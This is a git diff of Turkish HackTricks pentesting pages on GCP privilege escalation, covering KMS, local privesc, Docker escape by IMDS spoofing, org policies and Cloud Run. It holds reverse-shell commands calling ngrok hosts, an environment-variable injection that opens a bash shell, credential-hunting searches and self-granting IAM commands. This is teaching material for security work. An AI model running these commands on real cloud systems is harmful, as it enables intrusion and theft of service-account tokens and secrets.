+KMS'de **permission**'lar sadece Orgs, Folders ve Projects'ten **inherited** olmaz; aynı zamanda **Keyrings**'ten de gelebilir.
### `cloudkms.cryptoKeyVersions.useToDecrypt`
-Bu izni, üzerinde bu izne sahip olduğunuz anahtarla **bilgileri şifre çözmek için** kullanabilirsiniz.
+Bu **permission**'ı, sahip olduğunuz anahtarla **decrypt information with the key** yapmak için kullanabilirsiniz.
+
+KMS anahtarı kullanarak veriyi decrypt etme
```bash
gcloud kms decrypt \
--location=[LOCATION] \
@@ -24,9 +26,13 @@ gcloud kms decrypt \
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
--plaintext-file=[DECRYPTED_FILE_PATH]
```
+
+
### `cloudkms.cryptoKeys.setIamPolicy`
-Bu izne sahip bir saldırgan, **kendisine izinler verebilir** ve anahtarı kullanarak bilgileri şifrelerini çözebilir.
+Bu izne sahip bir saldırgan, bilgileri decrypt etmek için anahtarı kullanma izinlerini **kendine verebilir**.
+
+Kendine KMS decrypter role ver
```bash
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
--location [LOCATION] \
@@ -34,20 +40,24 @@ gcloud kms keys add-iam-policy-binding [KEY_NAME] \
--member [MEMBER] \
--role roles/cloudkms.cryptoKeyDecrypter
```
+
+
### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`
-Bu delegasyonun nasıl çalıştığına dair kavramsal bir açıklama:
+Bu delege işleminin nasıl çalıştığına ilişkin kavramsal bir döküm:
-1. **Hizmet Hesabı A**, KMS'de belirli bir anahtarı kullanarak şifre çözme işlemi için doğrudan erişime sahiptir.
-2. **Hizmet Hesabı B**, `useToDecryptViaDelegation` iznine sahiptir. Bu, onun, Hizmet Hesabı A adına KMS'den veri şifre çözme talep etmesine olanak tanır.
+1. **Service Account A**, KMS'teki belirli bir anahtarı kullanarak doğrudan şifre çözme erişimine sahiptir.
+2. **Service Account B**'ye `useToDecryptViaDelegation` izni verilir. Bu, onun KMS'den, Service Account A adına verileri şifre çözmesini talep etmesine izin verir.
-Bu **izin, bir şifre çözme talebi yapıldığında KMS hizmetinin izinleri kontrol etme şekliyle örtük olarak kullanılır**.
+Bu **iznin kullanımı**, bir şifre çözme isteği yapıldığında KMS servisinin izinleri denetleme biçiminde dolaylıdır.
-Google Cloud KMS API'sini (Python veya başka bir dilde) kullanarak standart bir şifre çözme talebi yaptığınızda, hizmet **talep eden hizmet hesabının gerekli izinlere sahip olup olmadığını kontrol eder**. Eğer talep, **`useToDecryptViaDelegation`** iznine sahip bir hizmet hesabı tarafından yapılırsa, KMS bu **hesabın anahtarın sahibi olan varlık adına şifre çözme talep etmesine izin verilip verilmediğini doğrular**.
+Google Cloud KMS API'sini kullanarak (Python veya başka bir dilde) standart bir şifre çözme isteği yaptığınızda, servis **istekte bulunan service account'un gerekli izinlere sahip olup olmadığını kontrol eder**. İstek **`useToDecryptViaDelegation`** iznine sahip bir service account tarafından yapılıyorsa, KMS bu **hesabın anahtara sahip olan varlık adına şifre çözme talep etmesine izin verilip verilmediğini** doğrular.
-#### Delegasyon İçin Ayarlama
+#### Delegasyon için Kurulum
-1. **Özel Rolü Tanımlayın**: Özel rolü tanımlayan bir YAML dosyası oluşturun (örneğin, `custom_role.yaml`). Bu dosya, `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` iznini içermelidir. İşte bu dosyanın nasıl görünebileceğine dair bir örnek:
+1. **Özel Rolü Tanımlayın**: Özel rolü tanımlayan bir YAML dosyası oluşturun (ör. `custom_role.yaml`). Bu dosya `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` iznini içermelidir. Dosyanın nasıl görünebileceğine dair bir örnek:
+
+Özel rol YAML tanımı
```yaml
title: "KMS Decryption via Delegation"
description: "Allows decryption via delegation"
@@ -55,13 +65,21 @@ stage: "GA"
includedPermissions:
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
```
-2. **Özel Rolü gcloud CLI Kullanarak Oluşturun**: Google Cloud projenizde özel rol oluşturmak için aşağıdaki komutu kullanın:
+
+
+2. **gcloud CLI kullanarak Özel Rolü Oluşturun**: Aşağıdaki komutu kullanarak özel rolü Google Cloud projenizde oluşturun:
+
+Özel KMS rolü oluştur
```bash
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
```
-`[YOUR_PROJECT_ID]` ifadenizi Google Cloud proje kimliğinizle değiştirin.
+`[YOUR_PROJECT_ID]` öğesini Google Cloud proje kimliğinizle değiştirin.
-3. **Özel Rolü Bir Hizmet Hesabına Verin**: Bu izni kullanacak bir hizmet hesabına özel rolünüzü atayın. Aşağıdaki komutu kullanın:
+
+
+3. **Özel Rolü Bir Servis Hesabına Verin**: Bu izni kullanacak servis hesabına özel rolünüzü atayın. Aşağıdaki komutu kullanın:
+
+Grant custom role to service account
```bash
# Give this permission to the service account to impersonate
gcloud projects add-iam-policy-binding [PROJECT_ID] \
@@ -73,6 +91,8 @@ gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
```
-`[YOUR_PROJECT_ID]` ve `[SERVICE_ACCOUNT_EMAIL]`'yi sırasıyla proje kimliğiniz ve hizmet hesabının e-posta adresi ile değiştirin.
+`[YOUR_PROJECT_ID]` ve `[SERVICE_ACCOUNT_EMAIL]`'i sırasıyla proje kimliğiniz ve servis hesabının e-posta adresi ile değiştirin.
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md
index 3ff9398f4..eb2560f9f 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md
@@ -1,38 +1,38 @@
-# GCP - yerel ayrıcalık yükseltme ssh pivotlama
+# GCP - local privilege escalation ssh pivoting
{{#include ../../../banners/hacktricks-training.md}}
-Bu senaryoda, bir VM içinde **ayrıcalıksız bir hesabı ele geçirdiğinizi** varsayacağız.
+Bu senaryoda, bir Compute Engine projesindeki bir VM içinde **ayrıcalıklı olmayan bir hesabı** ele geçirdiğinizi varsayacağız.
-Şaşırtıcı bir şekilde, ele geçirdiğiniz Compute Engine'ın GPC izinleri, **bir makine içinde yerel olarak ayrıcalıkları yükseltmenize** yardımcı olabilir. Bu, bulut ortamında her zaman çok faydalı olmasa da, bunun mümkün olduğunu bilmek iyidir.
+İlginç şekilde, ele geçirdiğiniz Compute Engine'in GPC izinleri size **escalate privileges locally inside a machine** imkanı verebilir. Bulut ortamında her zaman çok yardımcı olmasa da, bunun mümkün olduğunu bilmek iyidir.
-## Scriptleri Oku
+## Script'leri İnceleyin
-**Compute Instances**, muhtemelen **hizmet hesaplarıyla eylemler gerçekleştirmek için bazı scriptleri çalıştırmak** amacıyla oradadır.
+**Compute Instances** muhtemelen servis hesaplarıyla işlem yapmak için **bazı script'leri çalıştırmak** amacıyla kullanılır.
-IAM çok ayrıntılı olduğu için, bir hesap bir kaynak üzerinde **okuma/yazma** ayrıcalıklarına sahip olabilir ancak **listeleme ayrıcalıklarına sahip olmayabilir**.
+IAM çok ayrıntılı olduğundan, bir hesabın bir kaynak üzerinde **read/write** ayrıcalıkları olmasına rağmen **no list privileges** olmayabilir.
-Bunun harika bir varsayımsal örneği, `instance82736-long-term-xyz-archive-0332893` adlı bir depolama kovasına yedekleri okuma/yazma iznine sahip bir Compute Instance'dır.
+Bunun iyi bir varsayımsal örneği, `instance82736-long-term-xyz-archive-0332893` adlı bir storage bucket'a yedekleri **read/write** etme iznine sahip bir Compute Instance'tır.
-Komut satırından `gsutil ls` çalıştırmak hiçbir şey döndürmez, çünkü hizmet hesabı `storage.buckets.list` IAM iznine sahip değildir. Ancak, `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` komutunu çalıştırırsanız, yerel Linux hesabınızın erişiminde olmayan verilere düz metin erişimi sağlayan tam bir dosya sistemi yedeği bulabilirsiniz.
+Komut satırından `gsutil ls` çalıştırmak hiçbir şey döndürmez, çünkü servis hesabı `storage.buckets.list` IAM iznine sahip değildir. Ancak `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` çalıştırırsanız tam bir dosya sistemi yedeği bulabilir ve bu, yerel Linux hesabınızın sahip olmadığı veriye düz metin erişimi sağlar.
-Bu kova adını bir script içinde (bash, Python, Ruby...) bulabilirsiniz.
+Bu bucket adını bir script'in içinde (bash, Python, Ruby...) bulabilirsiniz.
## Özel Metadata
-Yönetici, **örnek** ve **proje düzeyinde** [özel metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) ekleyebilir. Bu, **örneğe rastgele anahtar/değer çiftleri geçmenin** basit bir yoludur ve genellikle ortam değişkenleri ve başlatma/kapatma scriptleri için kullanılır.
+Yöneticiler [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) ekleyebilir **instance** ve **project level** düzeyinde. Bu, bir instance'a **arbitrary key/value pairs** geçirmek için basit bir yoldur ve genellikle çevresel değişkenler ile startup/shutdown script'leri için kullanılır.
-Ayrıca, her seferinde **makine başlatıldığında veya yeniden başlatıldığında çalıştırılacak** bir script olan **userdata** eklemek de mümkündür ve bu **metadata uç noktasından da erişilebilir.**
+Ayrıca **userdata** eklemek mümkündür; bu, makine her başlatıldığında veya yeniden başlatıldığında çalıştırılacak bir script'tir ve metadata endpoint'inden de erişilebilir.
-Daha fazla bilgi için kontrol edin:
+Daha fazla bilgi için bakınız:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
-## **IAM izinlerini kötüye kullanma**
+## **Abusing IAM permissions**
-Aşağıda önerilen izinlerin çoğu **varsayılan Compute SA'ya verilir**, tek sorun **varsayılan erişim kapsamının SA'nın bunları kullanmasını engellemesidir**. Ancak, **`cloud-platform`** **kapsamı** etkinleştirilirse veya sadece **`compute`** **kapsamı** etkinleştirilirse, bunları **kötüye kullanma** imkanınız olacaktır.
+Aşağıdaki izinlerin çoğu **varsayılan Compute SA'ya verilir**; tek sorun, **varsayılan erişim scope'u SA'nın bunları kullanmasını engellemesidir**. Ancak **`cloud-platform`** scope etkinse veya sadece **`compute`** scope etkinse, bunları **kötüye kullanabilirsiniz**.
Aşağıdaki izinleri kontrol edin:
@@ -44,10 +44,14 @@ Aşağıdaki izinleri kontrol edin:
## Dosya sisteminde Anahtarları Ara
-Diğer kullanıcıların kutuda gcloud'a giriş yapıp yapmadığını ve kimlik bilgilerini dosya sisteminde bırakıp bırakmadıklarını kontrol edin:
+Diğer kullanıcıların makinede gcloud ile oturum açıp kimlik bilgilerini dosya sisteminde bırakıp bırakmadığını kontrol edin:
+
+Dosya sisteminde gcloud kimlik bilgilerini ara
```
sudo find / -name "gcloud"
```
+
+
Bunlar en ilginç dosyalar:
- `~/.config/gcloud/credentials.db`
@@ -55,7 +59,9 @@ Bunlar en ilginç dosyalar:
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto`
- `~/.credentials.json`
-### Daha Fazla API Anahtarı regexleri
+### Daha fazla API Keys için regexler
+
+Grep patternleri (GCP credentials ve keys için)
```bash
TARGET_DIR="/path/to/whatever"
@@ -87,7 +93,9 @@ grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
grep -Pzr '(?s)
+
+## Kaynaklar
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md
index 2dc654114..2e45fa11b 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md
@@ -4,43 +4,58 @@
## Başlangıç Durumu
-Bu tekniğin belirtildiği her iki yazıda da, saldırganlar GCP tarafından yönetilen bir **Docker** konteynerinde **root** erişimi elde etmeyi başardılar ve ana makine ağına erişim sağladılar (ve **`CAP_NET_ADMIN`** ve **`CAP_NET_RAW`** yetenekleri ile).
+Bu teknik belirtilen her iki raporda da, saldırganlar GCP tarafından yönetilen bir **Docker** konteyneri içinde **root** erişimi elde etmişlerdir; konteyner host ağına erişim sağlıyordu (ve **`CAP_NET_ADMIN`** ile **`CAP_NET_RAW`** yeteneklerine sahipti).
## Saldırı Açıklaması
-Bir Google Compute Engine örneğinde, ağ trafiğinin düzenli olarak incelenmesi, **metadata instance**'ına yapılan çok sayıda **düz HTTP isteği** ortaya çıkarır; bu adres `169.254.169.254`'tadır. [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), açık kaynaklı bir hizmet, sık sık bu tür isteklerde bulunur.
+Bir Google Compute Engine örneğinde, ağ trafiğinin düzenli incelenmesi `169.254.169.254` adresindeki **metadata instance**'a yapılan birçok **düz HTTP isteği** gösterir. [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), açık kaynaklı bir servis olarak sık sık bu tür istekleri yapar.
-Bu ajan, **metadata'daki değişiklikleri izlemek** için tasarlanmıştır. Özellikle, metadata bir **SSH genel anahtarları alanı** içerir. Metadata'ya yeni bir genel SSH anahtarı eklendiğinde, ajan otomatik olarak bunu `.authorized_key` dosyasında **yetkilendirir**. Ayrıca, gerekirse **yeni bir kullanıcı oluşturabilir** ve onları **sudoers**'a ekleyebilir.
+Bu agent, **metadata'daki değişiklikleri izlemek** için tasarlanmıştır. Metadata özellikle **SSH public key** alanını içerir. Yeni bir public SSH anahtarı metadata'ya eklendiğinde, agent otomatik olarak bunu `.authorized_key` dosyasına **yetkilendirir**. Gerekirse **yeni bir kullanıcı** oluşturup onu **sudoers** listesine ekleyebilir.
-Ajan, **tüm metadata değerlerini özyinelemeli olarak almak** için bir istek göndererek değişiklikleri izler (`GET /computeMetadata/v1/?recursive=true`). Bu istek, metadata sunucusunun yalnızca metadata'da son alımdan bu yana bir değişiklik varsa yanıt vermesi için tasarlanmıştır; bu değişiklik bir Etag ile tanımlanır (`wait_for_change=true&last_etag=`). Ayrıca, bir **timeout** parametresi (`timeout_sec=`) de eklenir. Belirtilen zaman aşımı içinde bir değişiklik olmazsa, sunucu **değişmemiş değerlerle** yanıt verir.
+Agent, tüm metadata değerlerini özyinelemeli olarak almak için bir istek göndererek değişiklikleri izler (`GET /computeMetadata/v1/?recursive=true`). Bu istek, metadata sunucusunun yalnızca son alımdan bu yana metadata'da bir değişiklik varsa yanıt göndermesini sağlamak için tasarlanmıştır; değişiklik, bir Etag ile tanımlanır (`wait_for_change=true&last_etag=`). Ayrıca bir **timeout** parametresi (`timeout_sec=`) bulunur. Belirtilen zaman aşımı içinde değişiklik olmazsa, sunucu **değişmemiş değerleri** döner.
-Bu süreç, **IMDS** (Instance Metadata Service) yapılandırma değişikliği olmadığında **60 saniye** sonra yanıt vermesine olanak tanır ve bu, misafir ajana sahte bir yapılandırma yanıtı enjekte etmek için potansiyel bir **pencere** oluşturur.
+Bu süreç, IMDS'nin (Instance Metadata Service) herhangi bir yapılandırma değişikliği yoksa **60 saniye** sonra yanıt vermesine izin verir; bu, guest agent'a gönderilecek sahte bir yapılandırma yanıtını enjekte etmek için bir boşluk yaratır.
-Bir saldırgan, bu durumu **Man-in-the-Middle (MitM) saldırısı** gerçekleştirerek, IMDS sunucusundan gelen yanıtı taklit ederek ve **yeni bir genel anahtar ekleyerek** istismar edebilir. Bu, ana makineye yetkisiz SSH erişimi sağlayabilir.
+Bir saldırgan bunu, IMDS sunucusundan gelen yanıtı taklit eden bir **Man-in-the-Middle (MitM) saldırısı** yaparak ve **yeni bir public key** ekleyerek kötüye kullanabilir. Bu, host'a yetkisiz SSH erişimi sağlayabilir.
-### Kaçış Tekniği
+### Escape Tekniği
-ARP taklidi Google Compute Engine ağlarında etkili olmasa da, [**rshijack'ın değiştirilmiş bir versiyonu**](https://github.com/ezequielpereira/rshijack) [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) tarafından geliştirilen, iletişimde paket enjeksiyonu için SSH kullanıcısını enjekte etmek üzere kullanılabilir.
+Google Compute Engine ağlarında ARP spoofing etkisiz olsa da, [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) tarafından geliştirilen [**rshijack**](https://github.com/ezequielpereira/rshijack)'in değiştirilmiş bir versiyonu, iletişime paket enjeksiyonu yapmak ve SSH kullanıcısını enjekte etmek için kullanılabilir.
-Bu rshijack versiyonu, ACK ve SEQ numaralarını komut satırı argümanları olarak girmeye olanak tanır ve gerçek Metadata sunucusunun yanıtından önce bir yanıtı taklit etmeyi kolaylaştırır. Ayrıca, [**küçük bir Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) özel olarak hazırlanmış bir yük döndürmek için kullanılır. Bu yük, Google Guest Agent'ın `.authorized_keys` dosyasında belirtilen bir genel anahtara sahip `wouter` adlı bir kullanıcı **oluşturmasını** tetikler.
+rshijack'in bu sürümü, ACK ve SEQ numaralarını komut satırı argümanları olarak girmeye izin verir; bu, gerçek Metadata sunucusu yanıtından önce bir yanıtı taklit etmeyi kolaylaştırır. Ayrıca, [**küçük bir Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) özel olarak hazırlanmış bir payload döndürmek için kullanılır. Bu payload, Google Guest Agent'ın `.authorized_keys` dosyasına belirli bir public key ile `wouter` kullanıcısını **oluşturmasını** tetikler.
-Script, Metadata sunucusunun Google Guest Agent'ı farklı metadata değerleri hakkında hemen bilgilendirmesini önlemek için aynı ETag'i kullanarak yanıtı geciktirir.
+Script, Metadata sunucusunun farklı metadata değerlerini Google Guest Agent'a hemen bildirmesini engellemek için aynı ETag'i kullanır; böylece yanıt geciktirilir.
-Taklit işlemini gerçekleştirmek için aşağıdaki adımlar gereklidir:
+Spoofing'i gerçekleştirmek için şu adımlar gereklidir:
-1. **Metadata sunucusuna yapılan istekleri izleyin** **tcpdump** kullanarak:
+1. **Metadata sunucusuna olan istekleri izleyin** — **tcpdump** kullanarak:
+
+
+Metadata sunucusu isteklerini tcpdump ile izle
```bash
tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &
```
-Aradığınız satırı bulmaya çalışın:
+
+
+Aşağıdakine benzer bir satır arayın:
+
+
+Örnek tcpdump çıktı satırı
```
+
+2. Doğru ETAG ile sahte metadata verisini rshijack'e gönder:
+
+
+Sahte metadata gönder ve host'a SSH ile bağlan
```bash
fakeData.sh | rshijack -q eth0 169.254.169.254:80 :; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
```
-Bu adım, ilgili özel anahtar ile SSH bağlantısını sağlayarak genel anahtarı yetkilendirir.
+
+
+Bu adım public key'i yetkilendirir; ilgili private key ile SSH bağlantısını mümkün kılar.
## Referanslar
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md
index 78d965afa..f0d52da06 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md
@@ -6,7 +6,10 @@
### `orgpolicy.policy.set`
-**orgpolicy.policy.set** kullanan bir saldırgan, organizasyon politikalarını manipüle edebilir; bu da belirli işlemleri engelleyen bazı kısıtlamaları kaldırmasına izin verir. Örneğin, **appengine.disableCodeDownload** kısıtı genellikle App Engine kaynak kodunun indirilmesini engeller. Ancak **orgpolicy.policy.set** kullanarak saldırgan bu kısıtlamayı devre dışı bırakabilir ve böylece başlangıçta korumalı olmasına rağmen kaynak kodunu indirme erişimi elde edebilir.
+Bir saldırgan **orgpolicy.policy.set** yetkisini kullanarak organizasyon politikalarını manipüle edebilir; bu da belirli işlemleri engelleyen bazı kısıtlamaları kaldırmasına olanak tanır. Örneğin, **appengine.disableCodeDownload** kısıtlaması genellikle App Engine kaynak kodunun indirilmesini engeller. Ancak **orgpolicy.policy.set** kullanılarak saldırgan bu kısıtlamayı devre dışı bırakabilir ve böylece başlangıçta korunuyor olsa bile kaynak kodunu indirme erişimi elde edebilir.
+
+
+Org policy bilgilerini al ve zorlamayı devre dışı bırak
```bash
# Get info
gcloud resource-manager org-policies describe [--folder | --organization | --project ]
@@ -14,13 +17,18 @@ gcloud resource-manager org-policies describe [--folder | --or
# Disable
gcloud resource-manager org-policies disable-enforce [--folder | --organization | --project ]
```
-Bu yöntem için bir Python betiği [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
+
+
+Bu yöntem için bir python scripti [burada](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py) bulunabilir.
### `orgpolicy.policy.set`, `iam.serviceAccounts.actAs`
-Genellikle farklı bir projeden bir servis hesabını bir kaynağa eklemek mümkün değildir çünkü bu eylemi engelleyen **`iam.disableCrossProjectServiceAccountUsage`** adlı bir kısıtlama uygulanmaktadır.
+Genellikle farklı bir projeye ait bir service account'u bir kaynağa eklemek mümkün değildir çünkü bu işlemi engelleyen **`iam.disableCrossProjectServiceAccountUsage`** adlı bir kısıtlama uygulanır.
Bu kısıtlamanın uygulanıp uygulanmadığını aşağıdaki komutu çalıştırarak doğrulayabilirsiniz:
+
+
+Projeler arası service account kısıtlamasını doğrulayın
```bash
gcloud resource-manager org-policies describe \
constraints/iam.disableCrossProjectServiceAccountUsage \
@@ -31,15 +39,22 @@ booleanPolicy:
enforced: true
constraint: constraints/iam.disableCrossProjectServiceAccountUsage
```
-Bu, bir saldırıcının **`iam.serviceAccounts.actAs`** iznini suistimal ederek, örneğin başka bir projeden bir service account'u taklit edip yeni bir VM başlatmak için gerekli ek altyapı izinlerine sahip olmadan yetki yükseltmesine yol açabilecek davranışları engeller.
+
-Ancak **`orgpolicy.policy.set`** izinlerine sahip bir saldırgan, **`iam.disableServiceAccountProjectWideAccess`** kısıtlamasını devre dışı bırakarak bu sınırlamayı aşabilir. Bu, saldırganın başka bir projeden bir service account'u kendi projesindeki bir kaynağa bağlamasına izin vererek yetkilerini etkili şekilde yükseltmesine olanak tanır.
+Bu, bir attacker'ın **`iam.serviceAccounts.actAs`** iznini kötüye kullanarak —örneğin yeni bir VM başlatmak için gereken ek altyapı izinlerine sahip olmadan— başka bir projeden bir service account'u taklit etmesini engeller; bu durum privilege escalation ile sonuçlanabilir.
+
+Ancak **`orgpolicy.policy.set`** izinlerine sahip bir attacker, **`iam.disableServiceAccountProjectWideAccess`** kısıtlamasını devre dışı bırakarak bu sınırlamayı aşabilir. Bu, attacker'ın başka bir projeden bir service account'u kendi projesindeki bir resource'a eklemesine izin verir ve böylece ayrıcalıklarını etkili bir şekilde yükseltir.
+
+
+Projeler arası service account kısıtlamasını devre dışı bırak
```bash
gcloud resource-manager org-policies disable-enforce \
iam.disableCrossProjectServiceAccountUsage \
--project=
```
-## Referanslar
+
+
+## Kaynaklar
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md
index c5ac5da37..3129349ed 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md
@@ -4,7 +4,7 @@
## Cloud Run
-Cloud Run hakkında daha fazla bilgi için kontrol edin:
+Cloud Run hakkında daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
@@ -12,15 +12,18 @@ Cloud Run hakkında daha fazla bilgi için kontrol edin:
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
-Bu izinlere sahip bir saldırgan, **rastgele kod çalıştıran bir run servisi oluşturabilir** (rastgele Docker konteyneri), ona bir Hizmet Hesabı ekleyebilir ve kodu **Hizmet Hesabı jetonunu metadata'dan dışa aktarması için** ayarlayabilir.
+Bu izinlere sahip bir saldırgan, **rastgele kod çalıştıran bir run service oluşturabilir** (rastgele Docker container), buna bir Service Account iliştirebilir ve kodun **Service Account token'ını metadata'dan exfiltrate etmesini** sağlayabilir.
-Bu yöntem için bir istismar betiği [burada](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) bulunabilir ve Docker imajı [burada](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage) bulunabilir.
+Bu yöntem için exploit script şurada bulunabilir: [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) ve Docker image şurada bulunabilir: [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
-`gcloud run deploy` kullanırken, sadece hizmet oluşturmak yerine **`update` iznine ihtiyaç duyduğunu** unutmayın. [**örneği burada**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh) kontrol edin.
+Not: Sadece servisi oluşturmak yerine `gcloud run deploy` kullanıldığında **`update` iznine ihtiyaç duyduğunu** unutmayın. Bir [**örnek için buraya bakın**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
### `run.services.update` , `iam.serviceAccounts.actAs`
-Öncekine benzer ancak bir hizmeti güncelleyerek:
+Bir önceki ile aynı, fakat mevcut bir servisi güncelliyor:
+
+
+Deploy Cloud Run service with reverse shell
```bash
# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
@@ -36,13 +39,18 @@ gcloud run deploy hacked \
# If you don't have permissions to use "--allow-unauthenticated", dont use it
```
+
+
### `run.services.setIamPolicy`
-Kendinize cloud Run üzerinde önceki izinler verin.
+cloud Run üzerinde kendinize ayrıcalıklı izinler verin.
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
-Komutta belirtilen hizmet hesabını çalmak için ters shell ile bir iş başlatın. Bir [**sömürü burada**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh) bulabilirsiniz.
+Komutta belirtilen servis hesabını çalmak için reverse shell içeren bir job başlatın. Bir [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
+
+
+Reverse shell içeren Cloud Run job oluştur
```bash
gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
@@ -52,9 +60,14 @@ gcloud beta run jobs create jab-cloudrun-3326 \
--region=us-central1
```
+
+
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
-Öncekine benzer şekilde, **bir işi güncellemek ve SA'yı güncellemek**, **komutu** ve **onu çalıştırmak** mümkündür:
+Öncekine benzer şekilde **bir job'u ve SA'yı güncellemek**, **komutu değiştirmek** ve **çalıştırmak** mümkündür:
+
+
+Update Cloud Run job and execute with reverse shell
```bash
gcloud beta run jobs update hacked \
--image=mubuntu:latest \
@@ -64,16 +77,23 @@ gcloud beta run jobs update hacked \
--region=us-central1 \
--execute-now
```
+
+
### `run.jobs.setIamPolicy`
-Kendinize Cloud Jobs üzerinde önceki izinleri verin.
+Cloud Jobs üzerinde daha önce bahsedilen izinleri kendinize verin.
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
-Bir işin yürütme ortam değişkenlerini kötüye kullanarak rastgele kod çalıştırın ve konteynerin içeriğini (kaynak kodu) dökmek ve metadata içindeki SA'ya erişmek için ters bir shell alın:
+Bir job yürütmesinin env variables'ını suistimal ederek arbitrary code çalıştırın ve container içeriğini (source code) döküp reverse shell elde ederek metadata içindeki SA'ya erişin:
+
+
+environment variable suistimali ile Cloud Run job çalıştırma
```bash
gcloud beta run jobs execute job-name --region --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
```
+
+
## Referanslar
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md
index fadc2b767..c87f07b13 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md
